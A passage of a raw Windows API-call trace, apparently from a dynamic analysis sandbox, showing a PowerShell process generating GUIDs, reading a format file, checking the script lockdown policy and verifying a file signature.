[7]=0xf0))) returned 0x0 [0095.241] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3c865a15, Data2=0x9526, Data3=0x4d9d, Data4=([0]=0x88, [1]=0x73, [2]=0xd, [3]=0xa7, [4]=0x2e, [5]=0xf7, [6]=0x64, [7]=0xb7))) returned 0x0 [0095.242] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd88d6346, Data2=0x2a9e, Data3=0x4a29, Data4=([0]=0xa5, [1]=0x3a, [2]=0x22, [3]=0x6a, [4]=0xd7, [5]=0xa3, [6]=0x4d, [7]=0x1f))) returned 0x0 [0095.242] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa76b24b7, Data2=0x53e0, Data3=0x41e2, Data4=([0]=0xaf, [1]=0x97, [2]=0xa7, [3]=0x25, [4]=0xe6, [5]=0x49, [6]=0xe2, [7]=0x4f))) returned 0x0 [0095.242] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xc15f43ca, Data2=0xa139, Data3=0x4105, Data4=([0]=0xb9, [1]=0xc, [2]=0xfe, [3]=0xa4, [4]=0x73, [5]=0x25, [6]=0x55, [7]=0x94))) returned 0x0 [0095.242] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xae7c324c, Data2=0x80fc, Data3=0x4ccc, Data4=([0]=0xaf, [1]=0x2c, [2]=0xdf, [3]=0xc1, [4]=0xaf, [5]=0x74, [6]=0x1, [7]=0xc8))) returned 0x0 [0095.242] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x4b5f8830, Data2=0x195f, Data3=0x4428, Data4=([0]=0xa5, [1]=0xda, [2]=0xb5, [3]=0x6f, [4]=0x9c, [5]=0x6e, [6]=0xd8, [7]=0xcd))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x739901e9, Data2=0x5f18, Data3=0x48ed, Data4=([0]=0xa5, [1]=0xa1, [2]=0xb2, [3]=0xab, [4]=0x68, [5]=0xd6, [6]=0x70, [7]=0xf2))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2a36edfb, Data2=0xf0ca, Data3=0x4ca3, Data4=([0]=0x97, [1]=0xb8, [2]=0xd5, [3]=0x4f, [4]=0x74, [5]=0x24, [6]=0x33, [7]=0x7c))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x326446dc, Data2=0x36e2, Data3=0x4586, Data4=([0]=0x83, [1]=0xb1, [2]=0x18, [3]=0x7f, [4]=0x98, [5]=0xa5, [6]=0x71, [7]=0x10))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x4028dc95, Data2=0xc402, Data3=0x403e, Data4=([0]=0xa6, [1]=0x19, [2]=0x84, [3]=0x1f, [4]=0x37, [5]=0xf8, [6]=0x9c, [7]=0xda))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x53471164, Data2=0xa842, Data3=0x4b50, Data4=([0]=0x80, [1]=0x96, [2]=0xfc, [3]=0xcf, [4]=0x4, [5]=0xe7, [6]=0x26, [7]=0x73))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xcce6c2dd, Data2=0xe5b8, Data3=0x4cda, Data4=([0]=0x9f, [1]=0xfe, [2]=0xd, [3]=0x69, [4]=0x70, [5]=0xaf, [6]=0x27, [7]=0x3f))) returned 0x0 [0095.243] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd271edc7, Data2=0x9019, Data3=0x461b, Data4=([0]=0xa8, [1]=0xf5, [2]=0x37, [3]=0x3, [4]=0xd8, [5]=0x57, [6]=0xac, [7]=0xe2))) returned 0x0 [0095.244] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3c0aecfc, Data2=0xa9e6, Data3=0x48a9, Data4=([0]=0x85, [1]=0x1a, [2]=0x82, [3]=0x87, [4]=0x59, [5]=0x90, [6]=0x3, [7]=0xc1))) returned 0x0 [0095.244] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x92fe2358, Data2=0x813a, Data3=0x4956, Data4=([0]=0xaa, [1]=0x6c, [2]=0xe, [3]=0x90, [4]=0x52, [5]=0x8d, [6]=0x4c, [7]=0xea))) returned 0x0 [0095.244] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x58b9441b, Data2=0xba9c, Data3=0x4fea, Data4=([0]=0x90, [1]=0x46, [2]=0xd1, [3]=0x2f, [4]=0x6f, [5]=0x21, [6]=0x26, [7]=0x3c))) returned 0x0 [0095.244] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1c878de5, Data2=0x660d, Data3=0x48a1, Data4=([0]=0xbc, [1]=0x3d, [2]=0x19, [3]=0xa6, [4]=0x21, [5]=0xde, [6]=0x5d, [7]=0xcc))) returned 0x0 [0095.244] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6a563421, Data2=0x4d26, Data3=0x4319, Data4=([0]=0x90, [1]=0xc5, [2]=0x27, [3]=0x7c, [4]=0x73, [5]=0x5e, [6]=0x7a, [7]=0x50))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xc785f6fa, Data2=0xf7d, Data3=0x4ec1, Data4=([0]=0x92, [1]=0x8c, [2]=0xf6, [3]=0xe8, [4]=0x72, [5]=0xe4, [6]=0x10, [7]=0x19))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x5c0829cd, Data2=0xcf2b, Data3=0x4484, Data4=([0]=0xa9, [1]=0xf9, [2]=0x4e, [3]=0xeb, [4]=0x11, [5]=0xdb, [6]=0xee, [7]=0x70))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa07d2413, Data2=0xfd11, Data3=0x4f82, Data4=([0]=0x85, [1]=0x1c, [2]=0x98, [3]=0xf5, [4]=0x87, [5]=0xe6, [6]=0x89, [7]=0x61))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x7525d7c5, Data2=0x5da4, Data3=0x49c1, Data4=([0]=0x93, [1]=0x9f, [2]=0xef, [3]=0x45, [4]=0xb0, [5]=0x36, [6]=0x90, [7]=0x1b))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x635ce8dd, Data2=0xa5b2, Data3=0x4176, Data4=([0]=0xaf, [1]=0xcb, [2]=0xfa, [3]=0x27, [4]=0x7b, [5]=0x59, [6]=0x74, [7]=0x1b))) returned 0x0 [0095.245] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x96f6255a, Data2=0xab2e, Data3=0x4ff8, Data4=([0]=0x89, [1]=0xb8, [2]=0xce, [3]=0xbb, [4]=0x60, [5]=0x39, [6]=0x84, [7]=0xaf))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3281a2e7, Data2=0x4cc7, Data3=0x4998, Data4=([0]=0xb5, [1]=0xef, [2]=0xbf, [3]=0x70, [4]=0xa, [5]=0x27, [6]=0x5a, [7]=0xb2))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2c657178, Data2=0x9449, Data3=0x48e1, Data4=([0]=0xbb, [1]=0x15, [2]=0xf5, [3]=0x7d, [4]=0x6d, [5]=0x6c, [6]=0xcc, [7]=0x6f))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x97616e48, Data2=0xf45f, Data3=0x49b7, Data4=([0]=0xbd, [1]=0xcc, [2]=0x10, [3]=0x45, [4]=0xc3, [5]=0x97, [6]=0xee, [7]=0x82))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8328fc63, Data2=0xa733, Data3=0x477d, Data4=([0]=0xbd, [1]=0x29, [2]=0x75, [3]=0x36, [4]=0xec, [5]=0xb0, [6]=0xe7, [7]=0x58))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x68a4f833, Data2=0x15a3, Data3=0x4739, Data4=([0]=0x87, [1]=0x47, [2]=0xb3, [3]=0x86, [4]=0xcd, [5]=0xc4, [6]=0x72, [7]=0x2a))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x89ed7f6c, Data2=0xdb8b, Data3=0x4609, Data4=([0]=0x8c, [1]=0x17, [2]=0xdf, [3]=0xed, [4]=0xc5, [5]=0xc8, [6]=0x97, [7]=0x84))) returned 0x0 [0095.246] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x842772bf, Data2=0xbae9, Data3=0x4883, Data4=([0]=0xb8, [1]=0x7a, [2]=0xab, [3]=0xf2, [4]=0xd0, [5]=0xc, [6]=0xfb, [7]=0x46))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x98d7a30e, Data2=0xce49, Data3=0x41b3, Data4=([0]=0x87, [1]=0x8f, [2]=0x19, [3]=0x7, [4]=0x84, [5]=0xfa, [6]=0xdd, [7]=0x5b))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9cde82a8, Data2=0x12c9, Data3=0x467a, Data4=([0]=0x96, [1]=0x73, [2]=0xae, [3]=0xc8, [4]=0x67, [5]=0xed, [6]=0x5f, [7]=0xc))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1b7545df, Data2=0x5d34, Data3=0x43cb, Data4=([0]=0x8f, [1]=0x43, [2]=0xd, [3]=0xde, [4]=0xe, [5]=0xc8, [6]=0xdf, [7]=0x2a))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe82c40c7, Data2=0xc33b, Data3=0x4f82, Data4=([0]=0x9f, [1]=0xaa, [2]=0x15, [3]=0xad, [4]=0x5b, [5]=0x59, [6]=0x8e, [7]=0xc8))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x5cb1fd69, Data2=0x1809, Data3=0x41eb, Data4=([0]=0x8a, [1]=0x8, [2]=0x69, [3]=0x21, [4]=0xea, [5]=0x68, [6]=0x32, [7]=0xb8))) returned 0x0 [0095.247] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x96ab392e, Data2=0xb788, Data3=0x45e6, Data4=([0]=0x97, [1]=0x52, [2]=0x81, [3]=0xef, [4]=0xee, [5]=0xa1, [6]=0xab, [7]=0xdc))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb8a9e31a, Data2=0x41f2, Data3=0x4a9f, Data4=([0]=0x96, [1]=0x7c, [2]=0x2, [3]=0xbc, [4]=0x53, [5]=0xdd, [6]=0xd1, [7]=0x2a))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf3912c6e, Data2=0x2e9e, Data3=0x40c7, Data4=([0]=0x9f, [1]=0x17, [2]=0x3, [3]=0xc4, [4]=0x47, [5]=0xe7, [6]=0x27, [7]=0xb5))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xadbb7011, Data2=0x73cb, Data3=0x41cd, Data4=([0]=0x82, [1]=0x91, [2]=0x7f, [3]=0x6b, [4]=0x65, [5]=0x20, [6]=0x92, [7]=0xbf))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf3327187, Data2=0xcc37, Data3=0x42e2, Data4=([0]=0xa4, [1]=0x13, [2]=0x12, [3]=0xb, [4]=0x2a, [5]=0x2c, [6]=0xc1, [7]=0x29))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf8c84f1f, Data2=0x68f4, Data3=0x4a03, Data4=([0]=0xbe, [1]=0xa8, [2]=0x37, [3]=0x6f, [4]=0xf6, [5]=0x32, [6]=0x5, [7]=0x5d))) returned 0x0 [0095.248] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6349405f, Data2=0xd1ef, Data3=0x4f17, Data4=([0]=0xab, [1]=0x1f, [2]=0xf9, [3]=0x1b, [4]=0xad, [5]=0xdf, [6]=0x2a, [7]=0x1d))) returned 0x0 [0095.249] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x67b93d1e, Data2=0x136, Data3=0x46c2, Data4=([0]=0xb4, [1]=0xe9, [2]=0x2a, [3]=0x42, [4]=0x97, [5]=0x63, [6]=0x7c, [7]=0x95))) returned 0x0 [0095.249] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe52c738e, Data2=0x8371, Data3=0x4828, Data4=([0]=0x9b, [1]=0xe1, [2]=0xd5, [3]=0x17, [4]=0x90, [5]=0x29, [6]=0xf3, [7]=0xc4))) returned 0x0 [0095.249] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x43b2d691, Data2=0xd5b8, Data3=0x44e4, Data4=([0]=0xad, [1]=0x7f, [2]=0x36, [3]=0x4, [4]=0x72, [5]=0xf3, [6]=0x99, [7]=0x16))) returned 0x0 [0095.249] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xef463b4, Data2=0x6a0f, Data3=0x4851, Data4=([0]=0xb0, [1]=0x60, [2]=0x14, [3]=0x85, [4]=0x91, [5]=0xac, [6]=0x64, [7]=0xb4))) returned 0x0 [0095.250] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x19dfcfee, Data2=0xa29f, Data3=0x4205, Data4=([0]=0xaf, [1]=0x29, [2]=0x6a, [3]=0x47, [4]=0x57, [5]=0x20, [6]=0xde, [7]=0x29))) returned 0x0 [0095.250] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xc33469aa, Data2=0x1d39, Data3=0x4958, Data4=([0]=0xbc, [1]=0x71, [2]=0xba, [3]=0x60, [4]=0x2, [5]=0x87, [6]=0xcc, [7]=0xa3))) returned 0x0 [0095.250] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xdcfdf55d, Data2=0x3d75, Data3=0x45a9, Data4=([0]=0xa1, [1]=0x93, [2]=0xe2, [3]=0x3d, [4]=0x1a, [5]=0x43, [6]=0xe, [7]=0xfd))) returned 0x0 [0095.250] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x55df3dee, Data2=0x544a, Data3=0x4e51, Data4=([0]=0xb2, [1]=0xa9, [2]=0xf8, [3]=0xe2, [4]=0xbe, [5]=0xea, [6]=0xbe, [7]=0xa))) returned 0x0 [0095.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0095.250] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.250] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.250] CoTaskMemFree (pv=0x42c9ac0) [0095.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0095.250] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0095.251] WldpGetLockdownPolicy () returned 0x0 [0095.251] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.251] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0095.251] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0095.251] RegCloseKey (hKey=0x528) returned 0x0 [0095.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0095.251] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0095.251] GetFileType (hFile=0x528) returned 0x1 [0095.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0095.251] GetFileType (hFile=0x528) returned 0x1 [0095.251] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0095.251] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.253] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0095.253] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.254] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0095.254] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.254] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0095.254] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.254] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0095.254] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x8b4, lpOverlapped=0x0) returned 1 [0095.254] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x48b4 [0095.255] ReadFile (in: hFile=0x528, lpBuffer=0x6f5c880, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5c880*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.255] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x48b4 [0095.255] ReadFile (in: hFile=0x528, lpBuffer=0x6f5d42c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f5d42c*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.255] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.255] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.255] CoTaskMemFree (pv=0x42c9ac0) [0095.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0095.255] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0095.255] WldpGetLockdownPolicy () returned 0x0 [0095.255] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.256] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0095.256] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0095.256] RegCloseKey (hKey=0x6f0) returned 0x0 [0095.256] CloseHandle (hObject=0x528) returned 1 [0095.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0095.256] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6f743f8 | out: lpFileInformation=0x6f743f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0095.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0095.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0095.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0095.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0095.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0095.257] WTGetSignatureInfo () returned 0x0 [0095.363] CertDuplicateCertificateContext (pCertContext=0x8c434a0) returned 0x8c434a0 [0095.363] CoTaskMemAlloc (cb=0x10) returned 0x8c08f00 [0095.364] CoTaskMemAlloc (cb=0x30) returned 0x8bf72f0 [0095.364] WinVerifyTrust () returned 0x0 [0095.364] CoTaskMemFree (pv=0x8bf72f0) [0095.364] CoTaskMemFree (pv=0x8c08f00) [0095.364] CertFreeCertificateContext (pCertContext=0x8c434a0) returned 1 [0095.364] CloseHandle (hObject=0x528) returned 1 [0095.365] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.365] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.365] CoTaskMemFree (pv=0x42c9ac0) [0095.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0095.365] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0095.366] WldpGetLockdownPolicy () returned 0x0 [0095.366] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.366] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0095.366] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0095.366] RegCloseKey (hKey=0x528) returned 0x0 [0095.366] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x65332fb3, Data2=0xd650, Data3=0x4f9f, 